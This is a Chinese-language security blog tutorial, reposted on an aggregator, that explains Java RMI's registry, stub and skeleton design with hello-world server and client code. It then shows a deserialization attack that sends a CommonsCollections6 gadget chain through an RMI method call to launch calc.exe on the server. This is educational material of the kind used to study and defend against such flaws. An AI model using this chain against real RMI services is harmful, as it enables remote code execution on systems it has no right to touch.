【java安全】RMI

这篇具有很好参考价值的文章主要介绍了【java安全】RMI。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

【java安全】RMI

前言

RMI全称为:Remote Method Invocation 远程方法调用,是java独立的一种机制。

RMI的作用就是在一个java虚拟机调用另一个java虚拟机上对象的方法

在网络传输的过程中,RMI对象是通过序列化的形式进行编码传输,既然有序列化,必然会有反序列化,RMI服务端在接收到序列化后的会将对象进行反序列化。

在反序列化攻击中,我们可能找不到反序列化的点,那么使用RMI就可以作为反序列化利用链的触发点 *****

RMI的组成

RMI主要分为三个部分:

  • Client客户端:客户端调用服务端的方法
  • Server服务端:远程调用方法对象的提供者,是代码真正执行的地方,执行结束会给客户端返回一个方法执行的结果
  • Registry注册中心:本质就是一个map,像一个字典,用于客户端查询服务端调用方法的引用

RMI调用的目的就是调用远程机器的类和调用一个写在本地的类一样

唯一区别就是RMI服务端提供的方法,被调用时方法是执行在服务端

为了屏蔽网络通信的复杂性,RMI 引入了两个概念,分别是 Stubs(客户端存根) 以及 Skeletons(服务端骨架),当客户端(Client)试图调用一个在远端的 Object 时,实际调用的是客户端本地的一个代理类(Proxy),这个代理类就称为 Stub,而在调用远端(Server)的目标类之前,也会经过一个对应的远端代理类,就是 Skeleton,它从 Stub 中接收远程方法调用并传递给真实的目标类。Stubs 以及 Skeletons 的调用对于 RMI 服务的使用者来讲是隐藏的,我们无需主动的去调用相关的方法。但实际的客户端和服务端的网络通信时通过 Stub 和 Skeleton 来实现的。

【java安全】RMI,java,java,安全,php,web安全

RMI Register 像一个网关,自己不会执行远程方法,但是RMI Server可以在上面注册一个Name到对象的绑定关系,RMI Client通过这个Name向RMI Registry查询,获得绑定关系,然后连接RMI Server。最后,远程方法在RMI Server上调用

RMI实现

Server

一个RMIServer分为三个部分:

  • 一个继承了java.rmi.Remote的接口,其中定义我们想要远程调用的函数,比如这里的hello()
  • 一个实现了此接口的类,此类实现了函数体,并且继承UnicastRemoteObject
  • 一个主类,用来创建Registry,并将上面的类实例化后绑定到一个地址。这就是所谓Server了
0x01 编写一个远程接口
public interface IRemoteHelloWorld extends Remote {
    public String hello() throws RemoteException;
}
  • 这个接口需要使用public声明,否则客户端尝试加载远程接口的对象会出错(除非客户端、服务端放在一起)
  • 继承 java.rmi.Remote接口
  • 接口的方法需要抛出RemoteException异常
0x02 实现该远程接口
public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld{
    protected RemoteHelloWorld() throws RemoteException {
    }

    public String hello() throws RemoteException {
        System.out.println("hello~~~()");
        return "Hello,World!";
    }
}
  • 该类实现远程接口
  • 继承UnicastRemoteObject类,貌似继承了之后会使用默认socket进行通讯,并且该实现类会一直运行在服务器上。(如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法。)
  • 构造方法抛出RemoteException异常
  • 实现类中使用的对象必须都可序列化,即都继承java.io.Serilizable
0x03 Registry注册远程对象

上面我们已经把远程调用的类创建好了,接下来我们怎么创建并调用它呢?

Java RMI 设计了一个 Registry 的思想,很好理解,我们可以使用注册表来查找一个远端对象的引用,更通俗的来讲,这个就是一个 RMI 电话本,我们想在某个人那里获取信息时(Remote Method Invocation),我们在电话本上(Registry)通过这个人的名称 (Name)来找到这个人的电话号码(Reference),并通过这个号码找到这个人(Remote Object)。

这种思想是由:java.rmi.registry.Registryjava.rmi.Nameing来实现的

先说:java.rmi.Nameing ,这是一个final类,提供了在远程对象注册表中存储获取远程对象引用的方法

这个类的每个方法中都有一个URL格式的参数,格式为://host:port/ObjectName

  • host表示注册表所在的主机
  • port表示注册表接受调用的端口号,默认1099
  • name表示一个注册的Remote Object的引用名称

那么就好理解了,我们实现了服务端待调用的对象,现在我们需要利用Naming.rebind()函数将其注册到register

步骤:

  • 利用LocateRegistry.createRegistry(1099);创建registry注册中心
  • 实例化远程对象
  • 将实例化对象绑定到registry注册中心
public class RemoteServer {
    public static void main(String[] args) throws RemoteException, MalformedURLException {
        // 创建注册中心,指定1099端口
        LocateRegistry.createRegistry(1099);
        // 实例化远程对象
        RemoteHelloWorld remoteHelloWorld = new RemoteHelloWorld();
        // 将远程对象绑定到注册中心,此处Name为:leekos
        Naming.rebind("rmi://localhost:1099/leekos", remoteHelloWorld); //注意字符串格式
    }
}

服务端我们已经搭建好了

Client

接下来我们需要搭建客户端,来远程执行服务器上的对象方法。

步骤如下:

  • 使用Naming通过名字找到registry中绑定的对象
  • 调用对象的方法

这里我们使用Naming.lookup()方法寻找registry的对象

public class Client {
    public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException {
        IRemoteHelloWorld iRemoteHelloWorld = (IRemoteHelloWorld) Naming.lookup("rmi://localhost:1099/leekos");
        String hello = iRemoteHelloWorld.hello();
        System.out.println(hello);

    }
}

小疑问

首先执行服务端:

【java安全】RMI,java,java,安全,php,web安全

接着执行客户端:

【java安全】RMI,java,java,安全,php,web安全

在客户端的控制台成功返回Hello,World!

此处我们发现了一个现象,为什么对象方法输出的hello~~~()字符串在服务端输出呢?

这刚好证明了RMI中远程方法是在服务端调用的,并将方法执行结果返回给客户端

RMI攻击

既然我们可以远程调用服务器上的对象的方法,并且RMI传递对象会进行序列化以及反序列化的过程。那么如果服务器上一个远程对象的方法形参中需要传递Object类型,我们就可以传入构造好的利用链对象,当反序列化时就会触发

此处使用java反序列化CommonsCollections6链子

服务端代码如上,但是必须满足相关条件:

  • 使用具有漏洞的Commons-Collections3.1组件
  • RMI提供的远程对象的方法形参中有Object类型,这样才能实现反序列化链利用

客户端代码:

public class Client {
    public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException, NoSuchFieldException, IllegalAccessException {
        IRemoteHelloWorld iRemoteHelloWorld = (IRemoteHelloWorld) Naming.lookup("rmi://localhost:1099/leekos");
        Map map = getPayload();
        iRemoteHelloWorld.doWork(map);
    }

    public static Map getPayload() throws IllegalAccessException, NoSuchFieldException {
        Transformer[] fakeTransformers = new Transformer[]{};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class,
                        Class[].class}, new Object[]{"getRuntime",
                        new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class,
                        Object[].class}, new Object[]{null, new
                        Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class
                },
                        new String[]{"calc.exe"})
        };
        Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map uselessMap = new HashMap();
        Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");

        Map hashMap = new HashMap();

        /*
         *此处使用put()触发了hash()方法,从而未经readObject() RCE
         *我们需要先将ChainedTransformer值设置为假的fakeTransformers
         */
        hashMap.put(tiedMapEntry, "value");
        //清空由于 hashMap.put 对 LazyMap 造成的影响
        outerMap.clear();
        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer, transformers);
        return hashMap;
    }

}

使用CommonsCollections6,可以在高版本java中利用。当我们运行代码时,弹出计算器:

【java安全】RMI,java,java,安全,php,web安全文章来源地址https://www.toymoban.com/news/detail-606195.html

到了这里,关于【java安全】RMI的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Web安全——PHP基础

    PHP (全称: PHP : Hypertext Preprocessor ,即\\\" PHP : 超文本预处理器 \\\")是一种通用 开源脚本语言 。 在一个php文件中可以包括以下内容: PHP 文件可包含文本、 HTML 、 JavaScript 代码和 PHP 代码 PHP 代码 在服务器上执行 ,结果以纯 HTML 形式返回给浏览器 PHP 文件的 默认文件扩展名

    2024年02月11日
    浏览(77)
  • web安全php基础_php语法格式与注释

    php脚本以php 开始 以 ?结束 但是先前创建页面的时候我们发现phpinfo只有php开头,并没有?结尾 在这里我们可以手动给它加上?结尾 PHP指令分隔符   与C、Perl及Java一样,PHP 需要在每个语句后用分号结束指令。在编写 PHP 代码的时候,我们需要在每一行代码指令后面添加一个分

    2024年02月12日
    浏览(44)
  • web安全php基础_php之string对象详解

    字符串变量用于包含有字符的值。 在创建字符串之后,我们就可以对它进行操作了。您可以直接在函数中使用字符串,或者把它存储在变量中。 在下面的实例中,我们创建一个名为 txt 的字符串变量,并赋值为 “Hello world!” 。然后我们输出 txt 变量的值: 输出如下 在 PHP 中

    2024年02月12日
    浏览(45)
  • web安全php基础_php常量及可变变量(魔术变量)

    php中常量是一个简单值的标识符。该值在脚本中不能改变。 一个常量由英文字母、下划线、和数字组成,但数字不能作为首字母出现。 (常量名不需要加 $ 修饰符)。 常量有两点需要特别注意的地方 常量在整个脚本中都可以使用。 常量值被定义后,在脚本的其他任何地方都不

    2024年02月12日
    浏览(56)
  • web安全php基础_phpstudy pro安装

    phpstudy是一个php运行环境的集成包,用户不需要去配置运行环境,就可以使用,phpstudy不仅是一款比较好用的php调试环境工具,并且还包括了开发工具和常用手册,对于新手是有很大帮助的 1.进入PhPstudy官网,下载需要的版本https://www.xp.cn/ 或是嫌麻烦,直接下载我准备好的sh

    2024年02月12日
    浏览(50)
  • Java——RMI详解

    1.1、简介 RMI 是 Java 提供的一个完善的简单易用的远程方法调用框架,采用客户/服务器通信方式,在服务器上部署了提供各种服务的远程对象,客户端请求访问服务器上远程对象的方法,它要求客户端与服务器端都是 Java 程序。 RMI 框架采用代理来负责客户与远程对象之间通

    2024年02月08日
    浏览(41)
  • 安全学习_开发相关_JNDI介绍(注入)&RMI&LDAP服务

    https://blog.csdn.net/dupei/article/details/120534024 高版本绕过参考: https://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/ https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html 什么是jndi注入 为什么有jndi注入 JDNI注入安全

    2024年02月03日
    浏览(57)
  • Java 网络编程 —— RMI 框架

    RMI 是 Java 提供的一个完善的简单易用的远程方法调用框架,采用客户/服务器通信方式,在服务器上部署了提供各种服务的远程对象,客户端请求访问服务器上远程对象的方法,它要求客户端与服务器端都是 Java 程序 RMI 框架采用代理来负责客户与远程对象之间通过 Socket 进行

    2024年02月09日
    浏览(41)
  • 037-安全开发-JavaEE应用&JNDI注入&RMI服务&LDAP服务&JDK绕过&调用链类

    1、JavaEE-JNDI注入-RMILDAP 2、JavaEE-漏洞结合-FastJson链 3、JavaEE-漏洞条件-JDK版本绕过 演示案例: ➢JNDI注入-RMILDAP服务 ➢JNDI注入-FastJson漏洞结合 ➢JNDI注入-JDK高版本注入绕过 思考明白: 什么是jndi注入 为什么有jndi注入 JDNI注入安全问题 JDNI注入利用条件 参考:https://blog.csdn.net/

    2024年04月10日
    浏览(45)
  • 小迪安全20WEB 攻防-PHP 特性&缺陷对比函数&CTF 考点&CMS 审计实例

    #研究对象 PHP代码漏洞(代码问题) # 知识点: 1 、过滤函数缺陷绕过 2 、 CTF 考点与代码审计 一、原理-缺陷函数-使用讲解-本地 内置函数: 大部分是比较函数(过滤时使用的函数) (1)、== 与 === : 参考: PHP 浅谈 == 和=== 中,数字和字符串比较的问题。_php 数字==字符串

    2024年01月19日
    浏览(55)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包